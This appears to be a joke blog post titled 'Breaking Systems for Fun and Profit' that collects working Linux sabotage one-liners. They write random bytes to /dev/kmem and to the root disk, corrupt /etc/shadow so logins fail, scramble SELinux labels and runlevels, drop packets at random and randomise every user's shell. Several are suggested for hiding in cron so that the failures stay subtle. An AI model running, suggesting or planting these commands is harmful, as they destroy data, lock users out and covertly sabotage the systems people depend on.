We are all the same…
To have some fun add the following line to the defaults and all device sections of your /etc/multipath.conf file:
getuid_callout "echo byebyestorage"
Breaking Systems for Fun and Profit
You _can_ stop the signal.
Russian Roulette
This one was sent in by DIVI:
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM
This would be a nice one to hide somewhere in /etc/cron.d/…
Subtle login problem
This one was sent in by Ed van der Salm:
sed -i 's/:$6/:$5/g' /etc/shadow
Thanks Ed!
Now that’s a proper startup
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc
Defaults are fine, right?
chcon -t default_t /
Connecting…
ip rule add to 0.0.0.0/0 unreachable
SELinux fun
TYPES=($(seinfo -t | tail -n+3)) for FILE in $(find /); do chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE} done) &> /dev/null
N[eo]tworking…
iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP
Accelerated bitrot
Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
We don’t play favourites.
Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:
for I in $(getent passwd | cut -d: -f1 ) do chsh -s $(sort -R /etc/shells | head -n1) ${I} done
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